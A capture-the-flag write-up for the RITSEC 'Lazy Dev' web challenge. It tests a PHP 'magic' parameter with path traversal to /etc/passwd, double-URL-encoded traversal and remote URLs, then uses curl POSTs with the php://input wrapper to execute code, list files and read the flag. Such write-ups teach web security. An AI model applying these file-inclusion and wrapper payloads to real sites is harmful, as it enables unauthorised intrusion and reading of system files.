# Lazy Dev (400p)Hi CTF player. If you have any questions about the writeup or challenge. Submit a issue and I will try to help you understand.
Also I might be wrong on some things. Enjoy :) 
![alt text](1.png "Chall")
![alt text](2.png "Chall")
There is nothing intresting in the source of the page. The text seem to hint at the parameter 'magic'.
To add a GET parameter we can just try appending this to the end of the URL
```?magic=asdasd```Still the same text:```Not what you input eh?This param is 'magic' man.```
Don't give up so easily. Let's try an array.
```?magic[]=```And we get:```Not what you input eh?This param is 'magic' man.
Are you trying to hack me? That's mean :(```Yes I am ;). What is useful from this is that we have found the correct parameter. Now we just have to exploit it.
Let's see if we can include some random file.```?magic=../../../../etc/passwd```We get:```    ...	Please stay in this directory, it's for your own safety!```Nope....
Remote URL:```?magic=http://google.com``````	That doesn't look like my site, who are you? :(```Nope.... Hmmm... What else can we do.
### Double URL encoding```?magic=`%252e%252e%252fetc%252fpasswd``````URL Encoding? Really? :(```Damn... What is this challenge....
### LFI using wrapper
```$ curl -d "AAAAABBBB" -X POST http://fun.ritsec.club:8007/devsrule.php?magic=php://input``````   Not what you input eh?This param is 'magic' man.AAAAABBBB```Yay we have command injection using PHP Wrappers.Lets get the flag.
```bash$ curl -d "" -X POST http://fun.ritsec.club:8007/devsrule.php?magic=php://inputNot what you input eh?This param is 'magic' man.A.htmlAH.htmlAHA.htmlAHAAHAH.htmlAHH.htmlAHHHA.htmlAHHHHH.htmlAh.htmlAhhh.htmlAway.htmlBe.htmlBelieve.htmlCall.htmlCan.htmlEyes.htmlFeel.htmlFireflies.htmlFl4gggg1337.htmlFreedom.htmlFrom.htmlGang.htmlGet.htmlGive.htmlGonna.htmlGucci.htmlHa.htmlI.htmlIf.htmlIs.htmlIts.htmlJokersSomeSortaHackJust.htmlLike.htmlLot.htmlLove.htmlMe.htmlMillion.htmlMore.htmlNever.htmlNot.htmlOlder.htmlOnce.htmlRoll.htmlSomebody.htmlStars.htmlStronger.htmlTake.htmlTell.htmlTen.htmlThe.htmlTheyll.htmlTo.htmlTold.htmlTonight.htmlUp.htmlWaving.htmlWhen.htmlWill.htmlWorld.htmlWould.htmlYou.htmlYour.htmldevsrule.phpimagesindex.html```
And to get the flag:
```bash$ curl -d "" -X POST http://fun.ritsec.club:8007/devsrule.php?magic=php://input
   RITSEC{WOW_THAT_WAS_A_PAIN_IN_THE_INPUT}```
Fun challenge and it was definitely a pain in the input..